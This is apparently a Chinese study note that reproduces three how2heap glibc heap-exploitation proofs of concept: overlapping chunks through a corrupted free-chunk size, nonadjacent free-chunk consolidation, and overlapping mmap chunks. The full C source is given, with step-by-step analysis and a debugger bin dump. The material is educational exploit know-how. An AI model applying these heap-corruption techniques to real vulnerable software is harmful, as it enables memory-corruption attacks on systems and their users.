overlapping_chunks

利用修改空闲块的size位造成堆块重叠

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/*

A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){


intptr_t *p1,*p2,*p3,*p4;

fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n");

p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);

fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);

fprintf(stderr, "\nNow let's free the chunk p2\n");
free(p2);
fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n");
fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n");

int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);

*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
fprintf(stderr, "This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);

fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");

fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

fprintf(stderr, "Let's run through an example. Right now, we have:\n");
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 80);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}

分析

申请三个堆块

  • malloc(0x100-8) chunk a
  • malloc(0x100-8) chunk b
  • malloc(0x80-8) chunk c

释放chunk b

  • free(b)

修改chunk b的size位为0x181(b.size+c.size)
再申请相应大小的chunk d

  • malloc(0x180-8)

即可造成chunk c被chunk d包含的结果

overlapping_chunks_2

利用修改使用中chunk的size位配合另一空闲的chunk和前向合并造成堆块重叠

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/*
Yet another simple tale of overlapping chunk.

This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.

This is also referenced as Nonadjacent Free Chunk Consolidation Attack.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){

intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;

fprintf(stderr, "\nThis is a simple chunks overlapping problem");
fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");

p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);

real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);

fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));

memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);

fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");

free(p4);

fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");

*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE

fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
free(p2);

fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");

p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);

fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);

fprintf(stderr, "\nLet's write something inside p6\n");
memset(p6,'F',1500);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);


}

分析

申请堆块

  • malloc(1000) a
  • malloc(1000) b
  • malloc(1000) c
  • malloc(1000) d
  • malloc(1000) e

释放chunk d

  • free(d)

修改chunk b的size位为b.size+c.size

释放chunkb

  • free(b)

此时程序会根据chunk b的size位找到前一个chunk d
发现chunk d处于空闲状态且不是top chunk
发生前向合并
合并后的chunk放入unsorted bin中
而这里被放入unsorted bin中的chunk大小已经是b.size+c.size+d.size了,而chunk c并没有被释放
(0xbd1 = 0x3f0\*3 + 1(inuse))

效果:

1
2
3
4
5
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x6033f0
Size: 0xbd1
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

接下来再申请相应大小的堆

  • malloc(2000) e

此时chunk e=chunk b+chunk c,与chunk c发生重叠

mmap_overlapping_chunks

造成特大堆块(mmap分配的chunk)的重叠

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>

/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`

POC written by POC written by Maxwell Dulin (Strikeout)
*/
int main(){
/*
A primer on Mmap chunks in GLibC
==================================
In GLibC, there is a point where an allocation is so large that malloc
decides that we need a seperate section of memory for it, instead
of allocating it on the normal heap. This is determined by the mmap_threshold var.
Instead of the normal logic for getting a chunk, the system call *Mmap* is
used. This allocates a section of virtual memory and gives it back to the user.

Similarly, the freeing process is going to be different. Instead
of a free chunk being given back to a bin or to the rest of the heap,
another syscall is used: *Munmap*. This takes in a pointer of a previously
allocated Mmap chunk and releases it back to the kernel.

Mmap chunks have special bit set on the size metadata: the second bit. If this
bit is set, then the chunk was allocated as an Mmap chunk.

Mmap chunks have a prev_size and a size. The *size* represents the current
size of the chunk. The *prev_size* of a chunk represents the left over space
from the size of the Mmap chunk (not the chunks directly belows size).
However, the fd and bk pointers are not used, as Mmap chunks do not go back
into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of
the chunk must be page-aligned.

The POC below is essentially an overlapping chunk attack but on mmap chunks.
This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c.
The main difference is that mmapped chunks have special properties and are
handled in different ways, creating different attack scenarios than normal
overlapping chunk attacks. There are other things that can be done,
such as munmapping system libraries, the heap itself and other things.
This is meant to be a simple proof of concept to demonstrate the general
way to perform an attack on an mmap chunk.

For more information on mmap chunks in GLibC, read this post:
http://tukan.farm/2016/07/27/munmap-madness/
*/

int* ptr1 = malloc(0x10);

printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
printf("of memory, instead of being put onto the normal heap.\n");
puts("=======================================================\n");
printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");

long long* top_ptr = malloc(0x100000);
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

// After this, all chunks are allocated downwards in memory towards the heap.
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

long long* mmap_chunk_3 = malloc(0x100000);
printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);

printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);

printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");
printf("This will cause both chunks to be Munmapped and given back to the system\n");
printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");

// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
// Additionally, this same attack can be used with the prev_size instead of the size.
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

/*
This next call to free is actually just going to call munmap on the pointer we are passing it.
The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845

With normal frees the data is still writable and readable (which creates a use after free on
the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this
data is read or written to, the program crashes.

Because of this added restriction, the main goal is to get the memory back from the system
to have two pointers assigned to the same location.
*/
// Munmaps both the second and third pointers
free(mmap_chunk_3);

/*
Would crash, if on the following:
mmap_chunk_2[0] = 0xdeadbeef;
This is because the memory would not be allocated to the current program.
*/

/*
Allocate a very large chunk with malloc. This needs to be larger than
the previously freed chunk because the mmapthreshold has increased to 0x202000.
If the allocation is not larger than the size of the largest freed mmap
chunk then the allocation will happen in the normal section of heap memory.
*/
printf("Get a very large chunk from malloc to get mmapped chunk\n");
printf("This should overlap over the previously munmapped/freed chunks\n");
long long* overlapping_chunk = malloc(0x300000);
printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);

// Gets the distance between the two pointers.
int distance = mmap_chunk_2 - overlapping_chunk;
printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);

// Set the value of the overlapped chunk.
printf("Setting the value of the overlapped chunk\n");
overlapping_chunk[distance] = 0x1122334455667788;

// Show that the pointer has been written to.
printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}

分析

申请三个特大的chunk

  • malloc(0x100000)*3
    此时会用mmap分配空间
    申请好后的三个chunk size均为0x101002
    空间分布如下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    Current System Memory Layout 
    ================================================
    running program
    heap
    ....
    third mmap chunk
    second mmap chunk
    LibC
    ....
    ld
    first mmap chunk
    ===============================================

接下来假设存在一个堆溢出漏洞
修改third chunk的size为0x202002(2*0x101002)

接下来free(third chunk),实际执行了munmap
然后需要再申请一个比0x202002更大的区域

  • malloc(0x300000)

这时就能得到一块内存区域,包含了实际上未被释放的second mmap chunk